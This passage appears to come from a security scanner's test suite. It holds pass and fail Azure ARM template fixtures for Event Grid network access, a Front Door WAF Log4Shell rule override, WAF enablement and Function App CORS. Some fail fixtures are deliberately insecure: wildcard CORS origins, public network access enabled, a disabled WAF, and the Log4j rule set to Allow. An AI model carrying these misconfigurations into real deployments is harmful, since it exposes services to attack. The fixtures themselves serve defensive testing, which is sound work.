    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"webAppName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"AzureLinuxApp\",\n      \"metadata\": {\n        \"description\": \"Base name of the resource such as web app name and app service plan \"\n      },\n      \"minLength\": 2\n    },\n    \"sku\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"S1\",\n      \"metadata\": {\n        \"description\": \"The SKU of App Service Plan \"\n      }\n    },\n    \"linuxFxVersion\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"php|7.0\",\n      \"metadata\": {\n        \"description\": \"The Runtime stack of current web app\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"webAppPortalName\": \"[concat(parameters('webAppName'), '-webapp')]\",\n    \"appServicePlanName\": \"[concat('AppServicePlan-', parameters('webAppName'))]\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.EventGrid/topics\",\n      \"apiVersion\": \"2023-12-15-preview\",\n      \"name\": \"pass\",\n      \"location\": \"string\",\n      \"tags\": {\n        \"tagName1\": \"tagValue1\",\n        \"tagName2\": \"tagValue2\"\n      },\n      \"sku\": {\n        \"name\": \"string\"\n      },\n      \"kind\": \"string\",\n      \"extendedLocation\": {\n        \"name\": \"string\",\n        \"type\": \"string\"\n      },\n      \"identity\": {\n        \"principalId\": \"string\",\n        \"tenantId\": \"string\",\n        \"type\": \"string\",\n        \"userAssignedIdentities\": {\n          \"{customized property}\": {\n            \"clientId\": \"string\",\n            \"principalId\": \"string\"\n          }\n        }\n      },\n      \"properties\": {\n        \"dataResidencyBoundary\": \"string\",\n        \"disableLocalAuth\": true,\n        \"eventTypeInfo\": {\n          \"inlineEventTypes\": {\n            \"{customized property}\": {\n              \"dataSchemaUrl\": \"string\",\n              \"description\": \"string\",\n              \"displayName\": \"string\",\n              \"documentationUrl\": \"string\"\n            }\n          },\n          \"kind\": \"Inline\"\n        },\n        \"inboundIpRules\": [\n          {\n            \"action\": \"Allow\",\n            \"ipMask\": \"string\"\n          }\n        ],\n        \"inputSchema\": \"string\",\n        \"inputSchemaMapping\": {\n          \"inputSchemaMappingType\": \"string\"\n        },\n        \"minimumTlsVersionAllowed\": \"string\",\n        \"publicNetworkAccess\": \"disabled\"\n      }\n    }\n  ]\n}\n\n"
  },
  {
    "path": "tests/arm/checks/resource/example_EventgridTopicNetworkAccess/fail.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"webAppName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"AzureLinuxApp\",\n      \"metadata\": {\n        \"description\": \"Base name of the resource such as web app name and app service plan \"\n      },\n      \"minLength\": 2\n    },\n    \"sku\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"S1\",\n      \"metadata\": {\n        \"description\": \"The SKU of App Service Plan \"\n      }\n    },\n    \"linuxFxVersion\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"php|7.0\",\n      \"metadata\": {\n        \"description\": \"The Runtime stack of current web app\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"webAppPortalName\": \"[concat(parameters('webAppName'), '-webapp')]\",\n    \"appServicePlanName\": \"[concat('AppServicePlan-', parameters('webAppName'))]\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.EventGrid/topics\",\n      \"apiVersion\": \"2023-12-15-preview\",\n      \"name\": \"fail\",\n      \"location\": \"string\",\n      \"tags\": {\n        \"tagName1\": \"tagValue1\",\n        \"tagName2\": \"tagValue2\"\n      },\n      \"sku\": {\n        \"name\": \"string\"\n      },\n      \"kind\": \"string\",\n      \"extendedLocation\": {\n        \"name\": \"string\",\n        \"type\": \"string\"\n      },\n      \"identity\": {\n        \"principalId\": \"string\",\n        \"tenantId\": \"string\",\n        \"type\": \"string\",\n        \"userAssignedIdentities\": {\n          \"{customized property}\": {\n            \"clientId\": \"string\",\n            \"principalId\": \"string\"\n          }\n        }\n      },\n      \"properties\": {\n        \"dataResidencyBoundary\": \"string\",\n        \"disableLocalAuth\": \"bool\",\n        \"eventTypeInfo\": {\n          \"inlineEventTypes\": {\n            \"{customized property}\": {\n              \"dataSchemaUrl\": \"string\",\n              \"description\": \"string\",\n              \"displayName\": \"string\",\n              \"documentationUrl\": \"string\"\n            }\n          },\n          \"kind\": \"Inline\"\n        },\n        \"inboundIpRules\": [\n          {\n            \"action\": \"Allow\",\n            \"ipMask\": \"string\"\n          }\n        ],\n        \"inputSchema\": \"string\",\n        \"inputSchemaMapping\": {\n          \"inputSchemaMappingType\": \"string\"\n        },\n        \"minimumTlsVersionAllowed\": \"string\"\n      }\n    }\n  ]\n}\n\n"
  },
  {
    "path": "tests/arm/checks/resource/example_EventgridTopicNetworkAccess/fail2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"webAppName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"AzureLinuxApp\",\n      \"metadata\": {\n        \"description\": \"Base name of the resource such as web app name and app service plan \"\n      },\n      \"minLength\": 2\n    },\n    \"sku\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"S1\",\n      \"metadata\": {\n        \"description\": \"The SKU of App Service Plan \"\n      }\n    },\n    \"linuxFxVersion\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"php|7.0\",\n      \"metadata\": {\n        \"description\": \"The Runtime stack of current web app\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"webAppPortalName\": \"[concat(parameters('webAppName'), '-webapp')]\",\n    \"appServicePlanName\": \"[concat('AppServicePlan-', parameters('webAppName'))]\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.EventGrid/topics\",\n      \"apiVersion\": \"2023-12-15-preview\",\n      \"name\": \"fail2\",\n      \"location\": \"string\",\n      \"tags\": {\n        \"tagName1\": \"tagValue1\",\n        \"tagName2\": \"tagValue2\"\n      },\n      \"sku\": {\n        \"name\": \"string\"\n      },\n      \"kind\": \"string\",\n      \"extendedLocation\": {\n        \"name\": \"string\",\n        \"type\": \"string\"\n      },\n      \"identity\": {\n        \"principalId\": \"string\",\n        \"tenantId\": \"string\",\n        \"type\": \"string\",\n        \"userAssignedIdentities\": {\n          \"{customized property}\": {\n            \"clientId\": \"string\",\n            \"principalId\": \"string\"\n          }\n        }\n      },\n      \"properties\": {\n        \"dataResidencyBoundary\": \"string\",\n        \"disableLocalAuth\": \"bool\",\n        \"eventTypeInfo\": {\n          \"inlineEventTypes\": {\n            \"{customized property}\": {\n              \"dataSchemaUrl\": \"string\",\n              \"description\": \"string\",\n              \"displayName\": \"string\",\n              \"documentationUrl\": \"string\"\n            }\n          },\n          \"kind\": \"Inline\"\n        },\n        \"inboundIpRules\": [\n          {\n            \"action\": \"Allow\",\n            \"ipMask\": \"string\"\n          }\n        ],\n        \"inputSchema\": \"string\",\n        \"inputSchemaMapping\": {\n          \"inputSchemaMappingType\": \"string\"\n        },\n        \"minimumTlsVersionAllowed\": \"string\",\n        \"publicNetworkAccess\": \"Enabled\"\n      }\n    }\n  ]\n}\n\n"
  },
  {
    "path": "tests/arm/checks/resource/example_EventgridTopicNetworkAccess/pass.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"webAppName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"AzureLinuxApp\",\n      \"metadata\": {\n        \"description\": \"Base name of the resource such as web app name and app service plan \"\n      },\n      \"minLength\": 2\n    },\n    \"sku\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"S1\",\n      \"metadata\": {\n        \"description\": \"The SKU of App Service Plan \"\n      }\n    },\n    \"linuxFxVersion\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"php|7.0\",\n      \"metadata\": {\n        \"description\": \"The Runtime stack of current web app\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"webAppPortalName\": \"[concat(parameters('webAppName'), '-webapp')]\",\n    \"appServicePlanName\": \"[concat('AppServicePlan-', parameters('webAppName'))]\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.EventGrid/topics\",\n      \"apiVersion\": \"2023-12-15-preview\",\n      \"name\": \"pass\",\n      \"location\": \"string\",\n      \"tags\": {\n        \"tagName1\": \"tagValue1\",\n        \"tagName2\": \"tagValue2\"\n      },\n      \"sku\": {\n        \"name\": \"string\"\n      },\n      \"kind\": \"string\",\n      \"extendedLocation\": {\n        \"name\": \"string\",\n        \"type\": \"string\"\n      },\n      \"identity\": {\n        \"principalId\": \"string\",\n        \"tenantId\": \"string\",\n        \"type\": \"string\",\n        \"userAssignedIdentities\": {\n          \"{customized property}\": {\n            \"clientId\": \"string\",\n            \"principalId\": \"string\"\n          }\n        }\n      },\n      \"properties\": {\n        \"dataResidencyBoundary\": \"string\",\n        \"disableLocalAuth\": \"bool\",\n        \"eventTypeInfo\": {\n          \"inlineEventTypes\": {\n            \"{customized property}\": {\n              \"dataSchemaUrl\": \"string\",\n              \"description\": \"string\",\n              \"displayName\": \"string\",\n              \"documentationUrl\": \"string\"\n            }\n          },\n          \"kind\": \"Inline\"\n        },\n        \"inboundIpRules\": [\n          {\n            \"action\": \"Allow\",\n            \"ipMask\": \"string\"\n          }\n        ],\n        \"inputSchema\": \"string\",\n        \"inputSchemaMapping\": {\n          \"inputSchemaMappingType\": \"string\"\n        },\n        \"minimumTlsVersionAllowed\": \"string\",\n        \"publicNetworkAccess\": \"Disabled\"\n      }\n    }\n  ]\n}\n\n"
  },
  {
    "path": "tests/arm/checks/resource/example_FrontDoorWAFACLCVE202144228/fail1.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Network/frontdoorWebApplicationFirewallPolicies\",\n      \"apiVersion\": \"2019-09-01\",\n      \"name\": \"fail1\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {}\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_FrontDoorWAFACLCVE202144228/fail3.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Network/frontdoorWebApplicationFirewallPolicies\",\n      \"apiVersion\": \"2019-09-01\",\n      \"name\": \"fail3\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n        \"managedRules\": {\n          \"managedRuleSets\": [\n            {\n              \"ruleSetType\": \"Microsoft_DefaultRuleSet\",\n              \"ruleSetVersion\": \"1.1\",\n              \"ruleGroupOverrides\": [\n                {\n                  \"ruleGroupName\": \"JAVA\",\n                  \"rules\": [\n                    {\n                      \"action\": \"Block\",\n                      \"ruleId\": \"944240\"\n                    }\n                  ]\n                }\n              ]\n            }\n          ]\n        }\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_FrontDoorWAFACLCVE202144228/fail4.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Network/frontdoorWebApplicationFirewallPolicies\",\n      \"apiVersion\": \"2019-09-01\",\n      \"name\": \"fail4\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n        \"managedRules\": {\n          \"managedRuleSets\": [\n            {\n              \"ruleSetType\": \"Microsoft_DefaultRuleSet\",\n              \"ruleSetVersion\": \"1.1\",\n              \"ruleGroupOverrides\": [\n                {\n                  \"ruleGroupName\": \"JAVA\",\n                  \"rules\": [\n                    {\n                      \"action\": \"Allow\",\n                      \"ruleId\": \"944240\",\n                      \"enabledState\": \"Enabled\"\n                    }\n                  ]\n                }\n              ]\n            }\n          ]\n        }\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_FrontDoorWAFACLCVE202144228/pass1.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Network/frontdoorWebApplicationFirewallPolicies\",\n      \"apiVersion\": \"2019-09-01\",\n      \"name\": \"pass1\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n        \"managedRules\": {\n          \"managedRuleSets\": [\n            {\n              \"ruleSetType\": \"Microsoft_DefaultRuleSet\",\n              \"ruleSetVersion\": \"1.1\"\n            }\n          ]\n        }\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_FrontDoorWAFACLCVE202144228/pass2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Network/frontdoorWebApplicationFirewallPolicies\",\n      \"apiVersion\": \"2019-09-01\",\n      \"name\": \"pass2\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n        \"managedRules\": {\n          \"managedRuleSets\": [\n            {\n              \"ruleSetType\": \"DefaultRuleSet\",\n              \"ruleSetVersion\": \"1.0\"\n            }\n          ]\n        }\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_FrontDoorWAFACLCVE202144228/pass3.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Network/frontdoorWebApplicationFirewallPolicies\",\n      \"apiVersion\": \"2019-09-01\",\n      \"name\": \"pass3\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n        \"managedRules\": {\n          \"managedRuleSets\": [\n            {\n              \"ruleSetType\": \"Microsoft_DefaultRuleSet\",\n              \"ruleSetVersion\": \"1.1\",\n              \"ruleGroupOverrides\": [\n                {\n                  \"ruleGroupName\": \"JAVA\",\n                  \"rules\": [\n                    {\n                      \"action\": \"Block\",\n                      \"ruleId\": \"944240\",\n                      \"enabledState\": \"Enabled\"\n                    }\n                  ]\n                }\n              ]\n            }\n          ]\n        }\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_FrontDoorWAFACLCVE202144228/pass4.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Network/frontdoorWebApplicationFirewallPolicies\",\n      \"apiVersion\": \"2019-09-01\",\n      \"name\": \"pass4\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n        \"managedRules\": {\n          \"managedRuleSets\": [\n            {\n              \"ruleSetType\": \"Microsoft_DefaultRuleSet\",\n              \"ruleSetVersion\": \"1.1\",\n              \"ruleGroupOverrides\": [\n                {\n                  \"ruleGroupName\": \"JAVA\",\n                  \"rules\": [\n                    {\n                      \"action\": \"Redirect\",\n                      \"ruleId\": \"944240\",\n                      \"enabledState\": \"Enabled\"\n                    }\n                  ]\n                }\n              ]\n            }\n          ]\n        }\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_FrontdoorUseWAFMode/example_FrontdoorUseWAFMode-FAILED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"metadata\": {\n    \"_generator\": {\n      \"name\": \"bicep\",\n      \"version\": \"0.5.6.12127\",\n      \"templateHash\": \"17606357911537037484\"\n    }\n  },\n  \"parameters\": {\n  },\n  \"variables\": {\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Network/FrontDoorWebApplicationFirewallPolicies\",\n      \"apiVersion\": \"2022-05-01\",\n      \"name\": \"fail\",\n      \"location\": \"Global\",\n      \"sku\": {\n        \"name\": \"Premium_AzureFrontDoor\"\n      },\n      \"properties\": {\n        \"managedRules\": {\n          \"managedRuleSets\": [\n            {\n              \"ruleSetType\": \"Microsoft_DefaultRuleSet\",\n              \"ruleSetVersion\": \"2.0\",\n              \"ruleSetAction\": \"Block\",\n              \"exclusions\": [],\n              \"ruleGroupOverrides\": []\n            },\n            {\n              \"ruleSetType\": \"Microsoft_BotManagerRuleSet\",\n              \"ruleSetVersion\": \"1.0\",\n              \"ruleSetAction\": \"Block\",\n              \"exclusions\": [],\n              \"ruleGroupOverrides\": []\n            }\n          ]\n        },\n        \"policySettings\": {\n          \"enabledState\": \"Disabled\",\n          \"mode\": \"Prevention\"\n        }\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_FrontdoorUseWAFMode/example_FrontdoorUseWAFMode-PASSED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"metadata\": {\n    \"_generator\": {\n      \"name\": \"bicep\",\n      \"version\": \"0.5.6.12127\",\n      \"templateHash\": \"17606357911537037484\"\n    }\n  },\n  \"parameters\": {\n  },\n  \"variables\": {\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Network/FrontDoorWebApplicationFirewallPolicies\",\n      \"apiVersion\": \"2022-05-01\",\n      \"name\": \"pass\",\n      \"location\": \"Global\",\n      \"sku\": {\n        \"name\": \"Premium_AzureFrontDoor\"\n      },\n      \"properties\": {\n        \"managedRules\": {\n          \"managedRuleSets\": [\n            {\n              \"ruleSetType\": \"Microsoft_DefaultRuleSet\",\n              \"ruleSetVersion\": \"2.0\",\n              \"ruleSetAction\": \"Block\",\n              \"exclusions\": [],\n              \"ruleGroupOverrides\": []\n            },\n            {\n              \"ruleSetType\": \"Microsoft_BotManagerRuleSet\",\n              \"ruleSetVersion\": \"1.0\",\n              \"ruleSetAction\": \"Block\",\n              \"exclusions\": [],\n              \"ruleGroupOverrides\": []\n            }\n          ]\n        },\n        \"policySettings\": {\n          \"enabledState\": \"Enabled\",\n          \"mode\": \"Prevention\"\n        }\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_FunctionAppDisallowCORS/fail.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"siteName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"The name of the Azure Web App.\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"The Azure region where the resource should be deployed.\"\n      }\n    },\n    \"sku\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Free\",\n      \"allowedValues\": [\n        \"Free\",\n        \"Shared\",\n        \"Basic\",\n        \"Standard\",\n        \"Premium\"\n      ],\n      \"metadata\": {\n        \"description\": \"The pricing tier of the Azure Web App.\"\n      }\n    },\n    \"appServicePlanName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"The name of the App Service Plan to use.\"\n      }\n    }\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Web/sites\",\n      \"apiVersion\": \"2019-08-01\",\n      \"name\": \"fail\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"name\": \"[parameters('siteName')]\",\n        \"serverFarmId\": \"[resourceId('Microsoft.Web/serverfarms', parameters('appServicePlanName'))]\",\n        \"siteConfig\": {\n          \"appSettings\": [\n            {\n              \"name\": \"Setting1\",\n              \"value\": \"Value1\"\n            },\n            {\n              \"name\": \"Setting2\",\n              \"value\": \"Value2\"\n            }\n          ],\n          \"metadata\": [\n            {\n              \"name\": \"Key1\",\n              \"value\": \"Value1\"\n            },\n            {\n              \"name\": \"Key2\",\n              \"value\": \"Value2\"\n            }\n          ],\n          \"cors\": {\n            \"allowedOrigins\": [\"*\"]\n          }\n        }\n      },\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Web/serverfarms', parameters('appServicePlanName'))]\"\n      ],\n      \"sku\": {\n        \"name\": \"[parameters('sku')]\"\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_FunctionAppDisallowCORS/pass.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"siteName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"The name of the Azure Web App.\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"The Azure region where the resource should be deployed.\"\n      }\n    },\n    \"sku\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Free\",\n      \"allowedValues\": [\n        \"Free\",\n        \"Shared\",\n        \"Basic\",\n        \"Standard\",\n        \"Premium\"\n      ],\n      \"metadata\": {\n        \"description\": \"The pricing tier of the Azure Web App.\"\n      }\n    },\n    \"appServicePlanName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"The name of the App Service Plan to use.\"\n      }\n    }\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Web/sites\",\n      \"apiVersion\": \"2019-08-01\",\n      \"name\": \"pass\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"name\": \"[parameters('siteName')]\",\n        \"serverFarmId\": \"[resourceId('Microsoft.Web/serverfarms', parameters('appServicePlanName'))]\"\n      },\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Web/serverfarms', parameters('appServicePlanName'))]\"\n      ],\n      \"sku\": {\n        \"name\": \"[parameters('sku')]\"\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_FunctionAppDisallowCORS/pass_with_cors.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"siteName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"The name of the Azure Web App.\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"The Azure region where the resource should be deployed.\"\n      }\n    },\n    \"sku\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Free\",\n      \"allowedValues\": [\n        \"Free\",\n        \"Shared\",\n        \"Basic\",\n        \"Standard\",\n        \"Premium\"\n      ],\n      \"metadata\": {\n        \"description\": \"The pricing tier of the Azure Web App.\"\n      }\n    },\n    \"appServicePlanName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"The name of the App Service Plan to use.\"\n      }\n    }\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Web/sites\",\n      \"apiVersion\": \"2019-08-01\",\n      \"name\": \"pass_with_cors\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"name\": \"[parameters('siteName')]\",\n        \"serverFarmId\": \"[resourceId('Microsoft.Web/serverfarms', parameters('appServicePlanName'))]\",\n        \"siteConfig\": {\n          \"appSettings\": [\n            {\n              \"name\": \"Setting1\",\n              \"value\": \"Value1\"\n            },\n            {\n              \"name\": \"Setting2\",\n              \"value\": \"Value2\"\n            }\n          ],\n          \"metadata\": [\n            {\n              \"name\": \"Key1\",\n              \"value\": \"Value1\"\n            },\n            {\n              \"name\": \"Key2\",\n              \"value\": \"Value2\"\n            }\n          ],\n          \"cors\": {\n            \"allowedOrigins\": [\"192.0.0.1\"]\n          }\n        }\n      },\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Web/serverfarms', parameters('appServicePlanName'))]\"\n      ],\n      \"sku\": {\n        \"name\": \"[parameters('sku')]\"\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_FunctionAppHttpVersionLatest/fail.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"vaultName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"The name of the key vault to be created.\"\n      }\n    },\n    \"keyName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"The name of the key to be created.\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"The location of the resources\"\n      }\n    },\n    \"skuName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"standard\",\n      \"allowedValues\": [\n        \"standard\",\n        \"premium\"\n      ],\n      \"metadata\": {\n        \"description\": \"The SKU of the vault to be created.\"\n      }\n    },\n    \"keyType\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"RSA\",\n      \"allowedValues\": [\n        \"EC\",\n        \"EC-HSM\",\n        \"RSA\",\n        \"RSA-HSM\"\n      ],\n      \"metadata\": {\n        \"description\": \"The JsonWebKeyType of the key to be created.\"\n      }\n    },\n    \"keyOps\": {\n      \"type\": \"array\",\n      \"defaultValue\": [],\n      \"metadata\": {\n        \"description\": \"The permitted JSON web key operations of the key to be created.\"\n      }\n    },\n    \"keySize\": {\n      \"type\": \"int\",\n      \"defaultValue\": 2048,\n      \"metadata\": {\n        \"description\": \"The size in bits of the key to be created.\"\n      }\n    },\n    \"curveName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"\",\n      \"allowedValues\": [\n        \"\",\n        \"P-256\",\n        \"P-256K\",\n        \"P-384\",\n        \"P-521\"\n      ],\n      \"metadata\": {\n        \"description\": \"The JsonWebKeyCurveName of the key to be created.\"\n      }\n    }\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Web/sites/slots\",\n      \"apiVersion\": \"2022-09-01\",\n      \"name\": \"fail\",\n      \"location\": \"string\",\n      \"tags\": {\n        \"tagName1\": \"tagValue1\",\n        \"tagName2\": \"tagValue2\"\n      },\n      \"kind\": \"string\",\n      \"extendedLocation\": {\n        \"name\": \"string\"\n      },\n      \"identity\": {\n        \"type\": \"string\",\n        \"userAssignedIdentities\": {}\n      },\n      \"properties\": {\n        \"clientAffinityEnabled\": \"bool\",\n        \"clientCertEnabled\": \"bool\",\n        \"clientCertExclusionPaths\": \"string\",\n        \"clientCertMode\": \"string\",\n        \"cloningInfo\": {\n          \"appSettingsOverrides\": {},\n          \"cloneCustomHostNames\": \"bool\",\n          \"cloneSourceControl\": \"bool\",\n          \"configureLoadBalancing\": \"bool\",\n          \"correlationId\": \"string\",\n          \"hostingEnvironment\": \"string\",\n          \"overwrite\": \"bool\",\n          \"sourceWebAppId\": \"string\",\n          \"sourceWebAppLocation\": \"string\",\n          \"trafficManagerProfileId\": \"string\",\n          \"trafficManagerProfileName\": \"string\"\n        },\n        \"containerSize\": \"int\",\n        \"customDomainVerificationId\": \"string\",\n        \"dailyMemoryTimeQuota\": \"int\",\n        \"enabled\": \"bool\",\n        \"hostingEnvironmentProfile\": {\n          \"id\": \"string\"\n        },\n        \"hostNamesDisabled\": \"bool\",\n        \"hostNameSslStates\": [\n          {\n            \"hostType\": \"string\",\n            \"name\": \"string\",\n            \"sslState\": \"string\",\n            \"thumbprint\": \"string\",\n            \"toUpdate\": \"bool\",\n            \"virtualIP\": \"string\"\n          }\n        ],\n        \"httpsOnly\": \"bool\",\n        \"hyperV\": \"bool\",\n        \"isXenon\": \"bool\",\n        \"keyVaultReferenceIdentity\": \"string\",\n        \"managedEnvironmentId\": \"string\",\n        \"publicNetworkAccess\": \"string\",\n        \"redundancyMode\": \"string\",\n        \"reserved\": \"bool\",\n        \"scmSiteAlsoStopped\": \"bool\",\n        \"serverFarmId\": \"string\",\n        \"siteConfig\": {\n          \"acrUseManagedIdentityCreds\": \"bool\",\n          \"acrUserManagedIdentityID\": \"string\",\n          \"alwaysOn\": \"bool\",\n          \"apiDefinition\": {\n            \"url\": \"string\"\n          },\n          \"apiManagementConfig\": {\n            \"id\": \"string\"\n          },\n          \"appCommandLine\": \"string\",\n          \"appSettings\": [\n            {\n              \"name\": \"string\",\n              \"value\": \"string\"\n            }\n          ],\n          \"autoHealEnabled\": \"bool\",\n          \"autoHealRules\": {\n            \"actions\": {\n              \"actionType\": \"string\",\n              \"customAction\": {\n                \"exe\": \"string\",\n                \"parameters\": \"string\"\n              },\n              \"minProcessExecutionTime\": \"string\"\n            },\n            \"triggers\": {\n              \"privateBytesInKB\": \"int\",\n              